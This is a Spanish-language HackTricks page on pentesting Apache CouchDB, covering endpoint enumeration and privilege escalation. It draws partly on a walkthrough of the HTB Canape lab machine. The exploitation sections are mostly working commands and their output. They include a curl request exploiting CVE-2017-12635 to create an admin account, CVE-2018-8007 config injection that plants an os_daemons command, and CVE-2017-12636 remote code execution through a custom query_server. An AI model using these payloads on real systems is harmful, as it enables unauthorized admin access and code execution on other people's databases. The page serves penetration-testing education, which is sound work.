# 5984,6984 - Pentesting CouchDB
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## **Información Básica**
CouchDB es una base de datos orientada a documentos y dentro de cada documento los campos se almacenan como mapas de clave-valor. Los campos pueden ser un par clave/valor simple, una lista o un mapa.
Cada documento almacenado en la base de datos recibe un identificador único a nivel de documento (`_id`) así como un número de revisión (`_rev`) para cada cambio que se realiza y se guarda en la base de datos.
**Puerto predeterminado:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Enumeración Automática**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Enumeración Manual
### Banner
```
curl http://IP:5984/
```
Esta emite una solicitud GET a la instancia de CouchDB instalada. La respuesta debería parecerse a alguna de las siguientes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Tenga en cuenta que si al acceder a la raíz de couchdb recibe un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}`, **no podrá acceder** al banner ni a ningún otro punto final.
{% endhint %}
### Enumeración de Información
Estos son los puntos finales a los que puede acceder con una solicitud **GET** y extraer información interesante. Puede encontrar [**más puntos finales y descripciones más detalladas en la documentación de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado y ID del proceso.
* \*\*`/_all_dbs`\*\*Devuelve una lista de todas las bases de datos en la instancia de CouchDB.
* \*\*`/_cluster_setup`\*\*Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster.
* **`/_db_updates`** Devuelve una lista de todos los eventos de base de datos en la instancia de CouchDB. La existencia de la base de datos `_global_changes` es necesaria para utilizar este punto final.
* **`/_membership`** Muestra los nodos que forman parte del clúster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluyendo los que son parte del clúster.
* **`/_scheduler/jobs`** Lista de trabajos de replicación. Cada descripción del trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados `completed` y `failed`. Para cada documento, devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** El punto final `/_node/{node-name}` se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a `/_node/_local` para obtener esta información.
* **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estadísticas del servidor en funcionamiento. La cadena literal `_local` sirve como alias para el nombre del nodo local, por lo que para todas las URL de estadísticas, `{node-name}` puede ser reemplazado por `_local`, para interactuar con las estadísticas del nodo local.
* **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en funcionamiento\_.\_ Puede usar \_\_`_local` como {node-name} para obtener información del nodo actual.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que el servidor está activo, en funcionamiento y listo para responder a las solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el punto final devolverá una respuesta 404.
* \*\*`/_uuids`\*\*Solicita uno o más Identificadores Únicos Universales (UUIDs) de la instancia de CouchDB.
* \*\*`/_reshard`\*\*Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y el total junto con el estado del reajuste en el clúster.
Se puede extraer más información interesante como se explica aquí: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista de Bases de Datos**
```
curl -X GET http://IP:5984/_all_dbs
```
Si esa solicitud **responde con un 401 no autorizado**, entonces necesitas algunas **credenciales válidas** para acceder a la base de datos:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar Credenciales válidas podrías **intentar** [**fuerza bruta en el servicio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este es un **ejemplo** de una **respuesta** de couchdb cuando tienes **suficientes privilegios** para listar bases de datos (Es solo una lista de dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Información de la Base de Datos
Puedes obtener información de la base de datos (como el número de archivos y sus tamaños) accediendo al nombre de la base de datos:
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista de Documentos**
Enumera cada entrada dentro de una base de datos
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Leer Documento**
Lee el contenido de un documento dentro de una base de datos:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalación de Privilegios en CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Gracias a las diferencias entre los analizadores de JSON de Erlang y JavaScript, podrías **crear un usuario administrador** con las credenciales `hacktricks:hacktricks` con la siguiente solicitud:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Más información sobre esta vulnerabilidad aquí**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### Erlang Cookie
En la documentación de CouchDB, en la [sección de configuración de clúster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), se habla sobre los diferentes puertos utilizados por CouchDB:
> CouchDB en modo clúster utiliza el puerto `5984` igual que en modo independiente, pero también usa el `5986` para APIs locales de nodos.
>
> Erlang utiliza el puerto TCP `4369` (EPMD) para encontrar otros nodos, por lo que todos los servidores deben poder comunicarse entre sí en este puerto. En un Clúster de Erlang, todos los nodos están conectados con todos los demás nodos. Una malla.
Y luego hay una advertencia interesante:
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
Si miramos en la lista de procesos, podemos ver esa cookie, "monster":
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
**Puedes**[ **leer esta sección para aprender cómo abusar de las cookies de Erlang para obtener RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\
También puedes leer algunos **writeups de la máquina HTB Canape** [**como este**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) para ver y **practicar** cómo **explotar esta vulnerabilidad**.
### **CVE-2018-8007 exitoso con permisos de escritura en local.ini**
Al escribir este post, descubrí que se había publicado un nuevo CVE para CouchDB de mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). También requiere permisos de escritura en el archivo `local.ini`, por lo que no es una opción útil para Canape. Pero ya que lo he hecho escribible como root, veamos si podemos hacer que funcione.
Comienza con un `local.ini` limpio y ahora escribible (y una copia de seguridad):
```
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Podemos usar curl para modificar los orígenes en el archivo `local.ini`. La vulnerabilidad aquí es que si usamos curl para poner un nuevo origen y luego nuevas líneas, podemos escribir cosas adicionales, incluyendo un nuevo encabezado y detalles. Así que aprovecharemos el campo `[os_daemons]`, y añadiremos un proceso para que CouchDB intente seguir ejecutándose:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
En la shell de root, podemos ver qué cambios hay:
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Y, sin embargo, el archivo no está ahí:
```
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
```
Si observamos los procesos en ejecución con "couchdb" en la línea de comandos, vemos no solo la línea de comandos que nos proporciona el valor de la cookie que usamos anteriormente, sino también `runsrv couchdb`:
```
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
```
Si matamos ese proceso, vuelve inmediatamente (observa el nuevo pid):
```
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
```
Y, al reiniciar, ejecuta los OS\_Daemons:
```
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
### **Intento Exitoso Mediante CVE-2017-12636 con permisos de escritura en local.ini**
CVE-2017-12636 permite la ejecución de código a través del proceso de couchdb. Sin embargo, no funcionará en esta configuración.
Hay algunos POCs disponibles como referencia:
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
Necesitaríamos escribir un nuevo query\_server y luego invocarlo. Cuando se lanzó Canape, la mayoría de los POCs eran para couchdb 1.x, pero esta caja está ejecutando la versión 2, por lo que la ruta de query\_servers de la mayoría de los POCs no existe. Eso ha cambiado ahora, pero seguiremos los mismos pasos. Primero, obtener la versión y mostrar que la ruta 1.X no existe:
```bash
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
```
Actualización con la nueva ruta para 2.0:
```bash
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
```
Desde allí, deberíamos agregar un query\_server y luego invocarlo, pero no podemos.
```bash
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
```
Algunas búsquedas en Google muestran que este es un problema con los permisos. De hecho, si verificamos con nuestra shell de root, podemos ver que el archivo `local.ini` no es editable por nadie, y mucho menos por www-data:
```
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
```
Eso es un callejón sin salida para Canape. Pero si queremos intentar hacerlo funcionar, podemos hacerlo legible con nuestro acceso root o homer, y continuar por este camino. Haremos una copia de seguridad del original para poder ver los cambios:
```
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
```
Ahora, volviendo a nuestra shell www-data:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
```
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
Obtenemos de vuelta el valor previo para el servidor de consulta cmd, lo que significa éxito. Y en la shell de root, podemos ver que funcionó:
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
```
Ahora, deberíamos poder crear una base de datos (db), y luego un documento en esa db, y luego solicitarlo con una vista que mapea nuestro query_server para obtener ejecución.
Crear db y documento:
```bash
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
```
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
Solicítalo en una vista:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
```
#### [Resumen](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) con un payload diferente
## Shodan
* `port:5984 couchdb`
## Referencias
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).